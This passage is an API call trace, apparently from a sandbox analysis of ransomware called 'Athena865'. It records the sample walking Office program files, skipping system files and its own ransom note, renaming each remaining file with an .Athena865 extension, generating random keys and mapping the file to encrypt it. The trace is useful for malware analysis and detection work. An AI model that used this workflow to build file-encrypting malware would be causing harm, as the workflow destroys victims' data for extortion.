returned 1 [0070.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0070.541] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1196) returned 1 [0070.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0070.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0070.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0070.541] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0070.542] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0070.542] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.542] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7b0, lpName=0x0) returned 0x154 [0070.544] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7b0) returned 0x100000 [0070.545] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0070.546] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0070.546] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0070.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0070.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0070.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0070.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0070.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0070.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0070.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0070.547] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0070.547] CloseHandle (hObject=0x154) returned 1 [0070.547] CloseHandle (hObject=0x17c) returned 1 [0070.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0070.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0070.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0070.547] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd64d0300, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd64d0300, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x17d6360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="excelcnv.exe", cAlternateFileName="")) returned 1 [0070.547] lstrcmpiW (lpString1="excelcnv.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0070.547] lstrcmpiW (lpString1="excelcnv.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0070.547] lstrcmpiW (lpString1="excelcnv.exe", lpString2=".") returned 1 [0070.548] lstrcmpiW (lpString1="excelcnv.exe", lpString2="..") returned 1 [0070.548] lstrcmpiW (lpString1="excelcnv.exe", lpString2="windows") returned -1 [0070.548] lstrcmpiW (lpString1="excelcnv.exe", lpString2="bootmgr") returned 1 [0070.548] lstrcmpiW (lpString1="excelcnv.exe", lpString2="temp") returned -1 [0070.548] lstrcmpiW (lpString1="excelcnv.exe", lpString2="pagefile.sys") returned -1 [0070.548] lstrcmpiW (lpString1="excelcnv.exe", lpString2="boot") returned 1 [0070.548] lstrcmpiW (lpString1="excelcnv.exe", lpString2="ids.txt") returned -1 [0070.548] lstrcmpiW (lpString1="excelcnv.exe", lpString2="ntuser.dat") returned -1 [0070.548] lstrcmpiW (lpString1="excelcnv.exe", lpString2="perflogs") returned -1 [0070.548] lstrcmpiW (lpString1="excelcnv.exe", lpString2="MSBuild") returned -1 [0070.548] lstrlenW (lpString="excelcnv.exe") returned 12 [0070.548] lstrcpyW (in: lpString1=0x241e89e, lpString2="excelcnv.exe" | out: lpString1="excelcnv.exe") returned="excelcnv.exe" [0070.548] lstrlenW (lpString="excelcnv.exe") returned 12 [0070.548] lstrlenW (lpString="Athena865") returned 9 [0070.548] lstrcmpiW (lpString1="elcnv.exe", lpString2="Athena865") returned 1 [0070.548] lstrlenW (lpString=".dll") returned 4 [0070.548] lstrcmpiW (lpString1="excelcnv.exe", lpString2=".dll") returned 1 [0070.548] lstrlenW (lpString=".lnk") returned 4 [0070.548] lstrcmpiW (lpString1="excelcnv.exe", lpString2=".lnk") returned 1 [0070.548] lstrlenW (lpString=".ini") returned 4 [0070.548] lstrcmpiW (lpString1="excelcnv.exe", lpString2=".ini") returned 1 [0070.548] lstrlenW (lpString=".sys") returned 4 [0070.548] lstrcmpiW (lpString1="excelcnv.exe", lpString2=".sys") returned 1 [0070.548] lstrlenW (lpString="excelcnv.exe") returned 12 [0070.548] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe.Athena865") returned 65 [0070.548] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe.athena865"), dwFlags=0x1) returned 1 [0070.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0070.550] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24994656) returned 1 [0070.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0070.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0070.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0070.550] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0070.551] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0070.551] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.551] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17d6660, lpName=0x0) returned 0x154 [0070.553] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1600000, dwNumberOfBytesToMap=0x1d6660) returned 0x2d50000 [0070.725] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0070.726] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0070.726] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0070.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0070.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0070.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0070.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0070.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0070.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0070.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0070.727] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0070.744] CloseHandle (hObject=0x154) returned 1 [0070.744] CloseHandle (hObject=0x17c) returned 1 [0070.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0070.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0070.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0070.753] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd51bd600, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd51bd600, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0xbd60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="excelcnvpxy.dll", cAlternateFileName="EXCELC~1.DLL")) returned 1 [0070.753] lstrcmpiW (lpString1="excelcnvpxy.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0070.753] lstrcmpiW (lpString1="excelcnvpxy.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0070.753] lstrcmpiW (lpString1="excelcnvpxy.dll", lpString2=".") returned 1 [0070.753] lstrcmpiW (lpString1="excelcnvpxy.dll", lpString2="..") returned 1 [0070.753] lstrcmpiW (lpString1="excelcnvpxy.dll", lpString2="windows") returned -1 [0070.753] lstrcmpiW (lpString1="excelcnvpxy.dll", lpString2="bootmgr") returned 1 [0070.753] lstrcmpiW (lpString1="excelcnvpxy.dll", lpString2="temp") returned -1 [0070.753] lstrcmpiW (lpString1="excelcnvpxy.dll", lpString2="pagefile.sys") returned -1 [0070.753] lstrcmpiW (lpString1="excelcnvpxy.dll", lpString2="boot") returned 1 [0070.753] lstrcmpiW (lpString1="excelcnvpxy.dll", lpString2="ids.txt") returned -1 [0070.753] lstrcmpiW (lpString1="excelcnvpxy.dll", lpString2="ntuser.dat") returned -1 [0070.753] lstrcmpiW (lpString1="excelcnvpxy.dll", lpString2="perflogs") returned -1 [0070.753] lstrcmpiW (lpString1="excelcnvpxy.dll", lpString2="MSBuild") returned -1 [0070.753] lstrlenW (lpString="excelcnvpxy.dll") returned 15 [0070.753] lstrcpyW (in: lpString1=0x241e89e, lpString2="excelcnvpxy.dll" | out: lpString1="excelcnvpxy.dll") returned="excelcnvpxy.dll" [0070.753] lstrlenW (lpString="excelcnvpxy.dll") returned 15 [0070.753] lstrlenW (lpString="Athena865") returned 9 [0070.753] lstrcmpiW (lpString1="nvpxy.dll", lpString2="Athena865") returned 1 [0070.753] lstrlenW (lpString=".dll") returned 4 [0070.753] lstrcmpiW (lpString1="excelcnvpxy.dll", lpString2=".dll") returned 1 [0070.753] lstrlenW (lpString=".lnk") returned 4 [0070.753] lstrcmpiW (lpString1="excelcnvpxy.dll", lpString2=".lnk") returned 1 [0070.753] lstrlenW (lpString=".ini") returned 4 [0070.753] lstrcmpiW (lpString1="excelcnvpxy.dll", lpString2=".ini") returned 1 [0070.754] lstrlenW (lpString=".sys") returned 4 [0070.754] lstrcmpiW (lpString1="excelcnvpxy.dll", lpString2=".sys") returned 1 [0070.754] lstrlenW (lpString="excelcnvpxy.dll") returned 15 [0070.754] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll.Athena865") returned 68 [0070.754] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnvpxy.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnvpxy.dll.athena865"), dwFlags=0x1) returned 1 [0070.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnvpxy.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0070.755] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=48480) returned 1 [0070.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0070.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0070.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0070.756] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0070.756] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0070.756] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.756] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc060, lpName=0x0) returned 0x154 [0070.760] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc060) returned 0x100000 [0070.762] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0070.763] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0070.763] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0070.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0070.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0070.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0070.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0070.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0070.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0070.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0070.764] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0070.764] CloseHandle (hObject=0x154) returned 1 [0070.764] CloseHandle (hObject=0x17c) returned 1 [0070.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0070.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0070.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0070.765] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x522443b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x1372c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXLIRM.XML", cAlternateFileName="")) returned 1 [0070.765] lstrcmpiW (lpString1="EXLIRM.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0070.765] lstrcmpiW (lpString1="EXLIRM.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0070.765] lstrcmpiW (lpString1="EXLIRM.XML", lpString2=".") returned 1 [0070.765] lstrcmpiW (lpString1="EXLIRM.XML", lpString2="..") returned 1 [0070.765] lstrcmpiW (lpString1="EXLIRM.XML", lpString2="windows") returned -1 [0070.765] lstrcmpiW (lpString1="EXLIRM.XML", lpString2="bootmgr") returned 1 [0070.765] lstrcmpiW (lpString1="EXLIRM.XML", lpString2="temp") returned -1 [0070.765] lstrcmpiW (lpString1="EXLIRM.XML", lpString2="pagefile.sys") returned -1 [0070.765] lstrcmpiW (lpString1="EXLIRM.XML", lpString2="boot") returned 1 [0070.765] lstrcmpiW (lpString1="EXLIRM.XML", lpString2="ids.txt") returned -1 [0070.765] lstrcmpiW (lpString1="EXLIRM.XML", lpString2="ntuser.dat") returned -1 [0070.765] lstrcmpiW (lpString1="EXLIRM.XML", lpString2="perflogs") returned -1 [0070.765] lstrcmpiW (lpString1="EXLIRM.XML", lpString2="MSBuild") returned -1 [0070.765] lstrlenW (lpString="EXLIRM.XML") returned 10 [0070.765] lstrcpyW (in: lpString1=0x241e89e, lpString2="EXLIRM.XML" | out: lpString1="EXLIRM.XML") returned="EXLIRM.XML" [0070.766] lstrlenW (lpString="EXLIRM.XML") returned 10 [0070.766] lstrlenW (lpString="Athena865") returned 9 [0070.766] lstrcmpiW (lpString1="XLIRM.XML", lpString2="Athena865") returned 1 [0070.766] lstrlenW (lpString=".dll") returned 4 [0070.766] lstrcmpiW (lpString1="EXLIRM.XML", lpString2=".dll") returned 1 [0070.766] lstrlenW (lpString=".lnk") returned 4 [0070.766] lstrcmpiW (lpString1="EXLIRM.XML", lpString2=".lnk") returned 1 [0070.766] lstrlenW (lpString=".ini") returned 4 [0070.766] lstrcmpiW (lpString1="EXLIRM.XML", lpString2=".ini") returned 1 [0070.766] lstrlenW (lpString=".sys") returned 4 [0070.766] lstrcmpiW (lpString1="EXLIRM.XML", lpString2=".sys") returned 1 [0070.766] lstrlenW (lpString="EXLIRM.XML") returned 10 [0070.766] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML.Athena865") returned 63 [0070.766] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\exlirm.xml.athena865"), dwFlags=0x1) returned 1 [0070.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\exlirm.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0070.768] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=79660) returned 1 [0070.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0070.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0070.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0070.768] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0070.769] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0070.769] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.769] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a30, lpName=0x0) returned 0x154 [0070.770] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a30) returned 0x100000 [0070.773] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0070.774] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0070.774] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0070.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0070.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0070.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0070.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0070.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0070.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0070.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0070.775] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0070.776] CloseHandle (hObject=0x154) returned 1 [0070.776] CloseHandle (hObject=0x17c) returned 1 [0070.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0070.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0070.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0070.776] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x60acc8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x13574, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXLIRMV.XML", cAlternateFileName="")) returned 1 [0070.776] lstrcmpiW (lpString1="EXLIRMV.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0070.776] lstrcmpiW (lpString1="EXLIRMV.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0070.776] lstrcmpiW (lpString1="EXLIRMV.XML", lpString2=".") returned 1 [0070.776] lstrcmpiW (lpString1="EXLIRMV.XML", lpString2="..") returned 1 [0070.777] lstrcmpiW (lpString1="EXLIRMV.XML", lpString2="windows") returned -1 [0070.777] lstrcmpiW (lpString1="EXLIRMV.XML", lpString2="bootmgr") returned 1 [0070.777] lstrcmpiW (lpString1="EXLIRMV.XML", lpString2="temp") returned -1 [0070.777] lstrcmpiW (lpString1="EXLIRMV.XML", lpString2="pagefile.sys") returned -1 [0070.777] lstrcmpiW (lpString1="EXLIRMV.XML", lpString2="boot") returned 1 [0070.777] lstrcmpiW (lpString1="EXLIRMV.XML", lpString2="ids.txt") returned -1 [0070.777] lstrcmpiW (lpString1="EXLIRMV.XML", lpString2="ntuser.dat") returned -1 [0070.777] lstrcmpiW (lpString1="EXLIRMV.XML", lpString2="perflogs") returned -1 [0070.777] lstrcmpiW (lpString1="EXLIRMV.XML", lpString2="MSBuild") returned -1 [0070.777] lstrlenW (lpString="EXLIRMV.XML") returned 11 [0070.777] lstrcpyW (in: lpString1=0x241e89e, lpString2="EXLIRMV.XML" | out: lpString1="EXLIRMV.XML") returned="EXLIRMV.XML" [0070.777] lstrlenW (lpString="EXLIRMV.XML") returned 11 [0070.777] lstrlenW (lpString="Athena865") returned 9 [0070.777] lstrcmpiW (lpString1="LIRMV.XML", lpString2="Athena865") returned 1 [0070.777] lstrlenW (lpString=".dll") returned 4 [0070.777] lstrcmpiW (lpString1="EXLIRMV.XML", lpString2=".dll") returned 1 [0070.777] lstrlenW (lpString=".lnk") returned 4 [0070.777] lstrcmpiW (lpString1="EXLIRMV.XML", lpString2=".lnk") returned 1 [0070.777] lstrlenW (lpString=".ini") returned 4 [0070.777] lstrcmpiW (lpString1="EXLIRMV.XML", lpString2=".ini") returned 1 [0070.777] lstrlenW (lpString=".sys") returned 4 [0070.777] lstrcmpiW (lpString1="EXLIRMV.XML", lpString2=".sys") returned 1 [0070.777] lstrlenW (lpString="EXLIRMV.XML") returned 11 [0070.777] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML.Athena865") returned 64 [0070.777] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\exlirmv.xml.athena865"), dwFlags=0x1) returned 1 [0070.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\exlirmv.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0070.781] GetFileSizeEx (in: 